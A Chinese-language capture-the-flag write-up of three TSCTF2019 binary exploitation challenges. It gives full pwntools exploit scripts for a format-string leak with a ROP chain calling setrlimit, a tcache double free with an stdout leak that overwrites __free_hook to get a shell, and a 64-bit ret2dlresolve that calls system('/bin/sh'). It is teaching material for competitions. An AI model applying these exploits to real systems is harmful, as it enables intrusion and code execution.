TSCTF2019 pwn(一)

本次TSCTF共做出了三道pwn题,记录一下解题思路。

nofile

题目简述

题目开了canary保护,有一个栈溢出的漏洞,有一个printf的格式化字符串是%s,可以泄露地址。另外发现有一个函数vulfunc,可以读文件,题目描述也说了有一个叫flag的文件,但是题目在开始时限制了进程可打开的最大文件描述符的数量为0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 init()
{
struct rlimit rlimits; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
if ( !getrlimit(RLIMIT_NOFILE, &rlimits) )
{
rlimits.rlim_cur = 0LL;
setrlimit(RLIMIT_NOFILE, &rlimits);
}
return __readfsqword(0x28u) ^ v2;
}

因此在跳转到该文件之前需要将文件描述符的限制去掉。可以再调用一次setrlimit函数修改文件描述符数量。rlimit结构体如下:

1
2
3
4
struct rlimit {
  rlim_t rlim_cur;  //soft limit
  rlim_t rlim_max;  //hard limit
};

因为题目开了canary,还需要泄露canary,跳转到某个函数还需要泄露程序加载基址。
另外因为发现程序没有”pop rdi;retn”的rop,read函数需要三个参数,但是程序本身就有一个输入的函数readstr,只需要两个参数。
总结利用思路如下:

1
2
3
4
利用格式化字符串漏洞泄露canary和程序基址。
利用readstr将需要传给setrlimit的rlimit结构体和需要传给vulfunc的参数“./flag”写到bss段上。
调用setrlimit函数去除文件描述符限制。
调用vulfunc读取flag文件。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import time
context.log_level = "debug"

#p = process("./nofile")
p = remote("10.112.100.47",6135)
elf = ELF("./nofile")

#gdb.attach(p)
p.recvuntil("?\n")
size = 0x18
p.sendline(str(size))
p.recvuntil("What's your Name?\n")
p.sendline('a'*0x18)
#p.recvuntil("?\n")
p.recvuntil("a"*0x18)
canary = u64(p.recvn(8).ljust(8,'\x00')) - 0xa
print "canary",hex(canary)
base = u64(p.recvn(6).ljust(8,'\x00')) - 0xd80
print "base:",hex(base)

#p.sendline('n')

vulfunc = base + 0xc13
flag_addr = "./flag\x00\x00"
pop_rdi = base + 0xde3
rsi_r15_ret = base + 0xde1
ebp = base + 0xd80
setlimit = elf.plt['setrlimit'] + base
bss = 0x202100 + base
readstr = base + 0xb66

payload = 'a'*0x18+p64(canary)+'a'*8
payload += p64(pop_rdi) + p64(24) + p64(rsi_r15_ret)+p64(bss)+p64(0)+p64(readstr)
payload += p64(pop_rdi) + p64(7) + p64(rsi_r15_ret)+p64(bss)+p64(0)+p64(setlimit)
payload += p64(pop_rdi) + p64(bss+16) + p64(vulfunc)

limit = p64(10)+ p64(10) + './flag\x00\x00'

time.sleep(1)
p.send('n')
time.sleep(2)
p.recvuntil("So the Length?\n")
p.sendline(str(len(payload)))
time.sleep(1)
p.recvuntil("What's your Name?\n")
p.sendline(payload)
p.sendline(limit)
p.interactive()

##TSCTF{So_You_have_FILE_now}

babytcache

题目简述

这道题类似于pwnable.tw上的Tcache Tear,不同的是去掉了show函数无法通过正常的输出泄露libc地址,另外开了PIE,在不泄露程序基址的条件下无法在bss段上伪造堆。但是在IDA里可以看到程序在一开始在0xABCDA000处mmap了一段大小为0x2000的空间,并接受0x200的输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ssize_t sub_96A()
{
void *buf; // [rsp+8h] [rbp-8h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
buf = mmap((void *)0xABCDA000LL, 0x2000uLL, 3, 34, -1, 0LL);
if ( (_DWORD)buf == -1 )
{
puts("Error !");
exit(1337);
}
printf("input your secret:", 0x2000LL);
return read(0, buf, 0x200uLL);
}

另外程序最大申请0x110的chunk,申请的次数没有限制,但是每次释放的chunk均为最后一次申请的chunk,释放的次数最多为8次。libc版本为2.27,有了tcache,所以可以用double free。

利用思路

(1) 伪造chunk:因为有了tcache,所以释放的chunk会先进入tcache中,按照原来Tcache Tear的思路,可以在0xABCDA000地址处伪造chunk,因为泄露libc要将其释放到unsorted bin中,所以要大于tcache中chunk的大小,因此伪造的chunk要至少为0x420,首先尝试了这种方法,但是发现泄露后delete的次数全部用完了,后面就没法再用tcache double free来将free_hook的地址修改为one_gadget。

但是在调试的时候发现在某一次申请chunk时某条tcache链的数量被覆写为255,其实是因为tcache在分配时没有检查数量,只根据操作来加减数字,当tcache的数量为0时,再从tcache里分配一个chunk,tcache的数量就变成了0xff(255)。此时再释放一个相同大小的chunk就不会进入tcache了。那就可以在第一次输入时就在0xABCDA000处伪造chunk并布置好对应位置的size越过检查,这样就省了两次delete。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757360 (size : 0x20ca0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x110) tcache_entry[15](255): 0

(2)泄露libc:

没有show函数,可以利用_IO_2_1_stdout_来泄露,之前在hitcon2018的baby_tcache和国赛的bms出现过,具体可参考以下链接:

1
http://myhackerworld.top/2018/11/20/tcache%E6%9C%BA%E5%88%B6%E7%9A%84%E5%87%A0%E9%81%93pwn%E9%A2%98/

总结一下利用思路:

1
2
3
4
在0xABCDA000处伪造大小为0x110的chunk,利用double free移植堆空间至该处。
覆写tcache 0x110链的数量为255,释放fake chunk至unsorted bin。
利用double free将fd修改至_IO_2_1_stdout_,申请到该chunk泄露libc。
利用double free将free\_hook修改为one_gadget,然后触发。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#coding=utf-8
from pwn import *
debug = 0
context.log_level = "debug"

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if debug:
p = process('./main')

else:
p = remote('10.112.100.47',2333)

def add(size,data):
p.recvuntil('Please input your choice:')
p.sendline('1')
p.recvuntil('input size:')
p.sendline(str(size))
p.recvuntil('input data:')
p.send(data)

def delete():
p.recvuntil('Please input your choice:')
p.sendline('2')


def exp():
p.recvuntil('input your secret:')
payload = p64(0) + p64(0x111)
payload = payload.ljust(0x110,'\x00')
payload += p64(0x0) + p64(0x21) + 'a'*0x10 + p64(0x20) + p64(0x21)
p.sendline(payload)

add(0xff,'a'*7+'\n')
delete() #0
delete() #1
add(0xff,p64(0xABCDA010))
add(0xff,'a'*7+'\n')
add(0xff,p64(0)+p64(0x111)) #tcache_entry[15](255)
delete() #2 #put into unsorted bin

add(0x90,"aaaa")
delete() #3
delete() #4

##leak libc
add(0x90,p64(0xabcda0b0))
#gdb.attach(p)
add(0x50,"\x60\x67")
add(0x90,"aaaa")
add(0x90,"bbbb")
add(0x90,p64(0xfbad1800) + p64(0)*3 + '\x00')
p.recvn(8)
leak_addr = u64(p.recvn(8))
print "leak_addr:",hex(leak_addr)
libc_base = leak_addr - 0x3ed8b0
print hex(libc_base)
#malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base + 0x4f322
print hex(one_gadget)

add(0x40,"dddd")
delete() #5
delete() #6
add(0x40,p64(free_hook))
add(0x40,"/bin/sh\x00")
add(0x40,p64(one_gadget))

##trigger
delete()

p.interactive()

exp()

##TSCTF{TcAche_mAke5_Attack_ea5ier_r1ght?}

silent

题目简述

一个栈溢出的题目,没有libc,想到之前做过32位的利用return to dl resolve将某个函数的got表改为system,然后来get shell,但这次是64位,函数参数需要用rdi、rsi、rdx等寄存器来传参,另外重定位表.rel.plt、符号表.dynsym和.synstr字符串表的大小由0x10变成了0x18。除了正常在bss段上构造这些表外,如果伪造的r_info的值较大时,会导致无法读取内存引发错误,而绕过的方法是link_map+0x1c8处的值为0,而在函数传参时link_map就是GOT[1]的地址,程序一开始有一个赋值的操作,已经为我们构造好了这个条件,因此只要构造好rop就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-20h]
char v5; // [rsp+7h] [rbp-19h]
__int64 v6; // [rsp+10h] [rbp-10h]
__int64 *v7; // [rsp+18h] [rbp-8h]

read(0, &buf, 7uLL);
v5 = 0;
v7 = &qword_601008;
v6 = qword_601008;
*(_QWORD *)(qword_601008 + 0x1C8) = 0LL; //[GOT[1]+0x1c8] = 0
sub_400526();
return 0LL;
}

另外在构造时开始是在bss+0x800处构造的,但调试时会报一个错误,没有找到解决方法,后来又太高了栈顶,在bss+0x1000处构造的,然后就会成功。

总结一下利用思路:

1
2
3
劫持程序控制流至read函数,同时将system的参数“/bin/sh”pop给edx,最后返回到bss+0x1000处。
在bss+0x1000处写入PLT[0],使其直接跳转到dl reslove。伪造重定位表,在bss+0x1000+120处伪造动态符号表,紧接着伪造动态字符串表。注意对齐。
修改read函数的got表为system函数地址,程序跳转到read函数直接执行system获得shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
context.log_level = "debug"

debug = 0
elf = ELF("./silent")

if debug:
p = process("./silent")

else:
p = remote("10.112.100.47",8001)


##rop
pop_rdi_ret = 0x0000000000400613
pop_rsi_ret = 0x0000000000400611
pop_rdx_ret = 0x0000000000400615
leave_ret = 0x000000000040054a

##addr
bss_base = 0x601040
bss_stage = bss_base + 0x1000
read_plt = 0x400400
read_got = 0x601020

##section
addr_rel_plt = 0x400398
addr_plt = 0x4003f0
addr_got = 0x400420
addr_dynsym = 0x4002B8
addr_dynstr = 0x400318

addr_reloc = bss_stage + 120
reloc_offset = (addr_reloc - addr_rel_plt) / 0x18
print('reloc_offset',reloc_offset)
r_offset = read_got
r_addend = 0
addr_sym = addr_reloc + 24
padding_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += padding_dynsym

addr_symstr = addr_sym + 24

r_info = (((addr_sym - addr_dynsym) / 0x18) << 0x20) | 0x7
print('r_info',r_info)
cmd = "/bin/sh"
addr_cmd = addr_symstr + 7
st_name = addr_symstr - addr_dynstr

p.sendline("aaaa")

#gdb.attach(p)

offset = 0x70
payload = 'a'*offset
payload += p64(bss_stage)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_ret)
payload += p64(bss_stage)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0x200)
payload += p64(read_plt)
payload += p64(pop_rdi_ret)
payload += p64(addr_cmd)
payload += p64(leave_ret)
print hex(len(payload))

p.send(payload)

payload = "a"*8
payload += p64(addr_plt)
payload += p64(reloc_offset)
payload = payload.ljust(120,'a')
payload += p64(r_offset) #fake .dynsym
payload += p64(r_info)
payload += p64(r_addend)
payload += 'a'*padding_dynsym
payload += p32(st_name) #fake .synstr
payload += p32(0x00000012)
payload += p64(0)
payload += p64(0)
payload += "system\x00"
payload += cmd + "\x00"
payload = payload.ljust(0x100,'a')

p.sendline(payload)
p.interactive()

##TSCTF{_ret2d1r3S01v3_1s_soooo_e4sY_t0_m3!!!!!!}